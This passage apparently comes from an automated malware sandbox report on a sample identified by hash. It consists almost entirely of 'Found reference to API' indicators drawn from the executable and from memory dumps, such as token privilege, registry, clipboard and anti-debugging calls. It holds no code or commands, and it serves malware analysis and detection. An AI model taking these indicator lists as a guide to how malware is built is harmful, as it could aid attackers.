"00000000-00004892.00000001.67957.0094A000.00000002.mdmp")3a:T14f23,Found reference to API (Indicator: "CheckTokenMembership"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "HeapSetInformation"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "DecryptFileA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "SHBrowseForFolder"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "SHGetPathFromIDList"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetTokenInformation"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "RegDeleteValueA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "RegOpenKeyExA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "RegQueryInfoKeyA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "FreeSid"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "OpenProcessToken"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "RegSetValueExA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "RegCreateKeyExA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "LookupPrivilegeValueA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "AllocateAndInitializeSid"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "RegQueryValueExA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "EqualSid"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "RegCloseKey"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetShortPathNameA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetModuleFileNameA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "FindFirstFileA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetCurrentProcess"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "FindNextFileA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "FindClose"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "LocalAlloc"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "lstrcmpA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "CompareStringA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetLastError"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetFileAttributesA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "LoadLibraryA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "DeleteFileA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GlobalAlloc"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GlobalFree"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "CloseHandle"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "WritePrivateProfileStringA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "IsDBCSLeadByte"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetWindowsDirectoryA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "SetFileAttributesA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetProcAddress"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GlobalLock"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "LocalFree"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "RemoveDirectoryA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "FreeLibrary"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "CreateDirectoryA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetPrivateProfileIntA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetPrivateProfileStringA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GlobalUnlock"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "ReadFile"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "SizeofResource"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "WriteFile"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetDriveTypeA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "LoadLibraryExA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "SetFileTime"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "SetFilePointer"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "FindResourceA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "CreateMutexA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetVolumeInformationA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetCurrentDirectoryA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "FreeResource"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetVersion"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "SetCurrentDirectoryA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetTempPathA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "LocalFileTimeToFileTime"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "CreateFileA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "SetEvent"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "TerminateThread"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetVersionExA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "LockResource"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetSystemInfo"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "CreateThread"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "ResetEvent"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "LoadResource"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "ExitProcess"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetModuleHandleW"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "CreateProcessA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "FormatMessageA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetTempFileNameA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "DosDateTimeToFileTime"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "CreateEventA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetExitCodeProcess"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetDeviceCaps"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetDesktopWindow"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "CharUpperA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "ExitWindowsEx"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "MessageBeep"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "CharPrevA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "LoadStringA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "CharNextA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "EnableWindow"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "ReleaseDC"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "SetForegroundWindow"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "PeekMessageA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "SendMessageA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "MessageBoxA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "SetWindowTextA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetWindowLongA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "CallWindowProcA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "SetWindowLongA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "ShowWindow"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "SetWindowPos"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetDC"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetWindowRect"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "DispatchMessageA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "VerQueryValueA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetFileVersionInfoA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "Sleep"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetStartupInfoW"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "TerminateProcess"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetCurrentProcessId"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetCurrentThreadId"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetTickCount"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "EnumResourceLanguagesA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetDiskFreeSpaceA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "MulDiv"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetSystemMetrics"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API (Indicator: "GetWindowDC"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "SendMessage"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "GetClassName"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "ReleaseCapture"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "GetWindowLong"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "SetWindowLong"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "InsertMenuItem"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "ClientToScreen"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "CreateRoundRectRgn"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "GetScrollInfo"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "DrawMenuBar"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "LoadCursor"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "SetCursor"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "GetLogicalDrives"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "GetCursorPos"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "GetClientRect"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "BitBlt"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "WindowFromPoint"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "GetWindowText"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "GetSystemMenu"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "InsertMenu"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "FindWindow"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "DestroyWindow"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "GetDCEx"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "TrackPopupMenuEx"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "CreateWindowEx"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "MessageBox"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "RegisterHotKey"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "UnregisterHotKey"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "CreateDirectory"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API (Indicator: "FlsGetValue"; File: "00000000-00005448.00000000.67318.00B01000.00000020.mdmp") Found reference to API (Indicator: "FlsSetValue"; File: "00000000-00005448.00000000.67318.00B01000.00000020.mdmp") Found reference to API (Indicator: "VirtualFree"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "VirtualAlloc"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "IsDebuggerPresent"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "RtlUnwind"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "SetLastError"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "EnterCriticalSection"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "LeaveCriticalSection"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "DeleteCriticalSection"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "TlsAlloc"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "TlsGetValue"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "TlsSetValue"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "TlsFree"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "GetStdHandle"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "GetModuleFileNameW"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "HeapFree"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "HeapAlloc"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "HeapReAlloc"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "LCMapStringW"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "FindFirstFileExW"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "FindNextFileW"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "IsValidCodePage"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "GetACP"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "GetOEMCP"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "GetCPInfo"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "GetCommandLineA"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "GetCommandLineW"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "MultiByteToWideChar"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "SetStdHandle"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "GetStringTypeW"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "GetProcessHeap"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "HeapSize"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "FlushFileBuffers"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "GetConsoleMode"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "SetFilePointerEx"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "WriteConsoleW"; File: "2Td9134.exe.567271921") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "CLSIDFromString"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "QueryActCtxW"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp, 00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp, 00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "lstrlenA"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp, 00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp, 00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp, 00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "Wow64EnableWow64FsRedirection"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "GetNativeSystemInfo"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp, 00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "SetProcessDEPPolicy"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp, 00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp, 00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp, 00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp, 00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "DelayLoadFailureHook"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "InterlockedCompareExchange"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp, 00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "SetSearchPathMode"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "CreateActCtxW"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp, 00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "ActivateActCtx"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "DeactivateActCtx"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "ReleaseActCtx"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp, 00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp, 00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp, 00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp, 00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp, 00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp, 00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp, 00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp, 00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "InterlockedExchange"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "DefWindowProcW"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "CharNextW"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "DestroyWindow"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "LoadIconW"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "LoadCursorW"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "RegisterClassW"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "CreateWindowExW"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "GetWindow"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "RtlImageNtHeader"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "NtOpenProcessToken"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "NtClose"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "NtQueryInformationToken"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "NtSetInformationProcess"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "PathIsRelativeW"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "OpenClipboard"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "EmptyClipboard"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "SetClipboardData"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "CloseClipboard"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API (Indicator: "GetClipboardData"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found 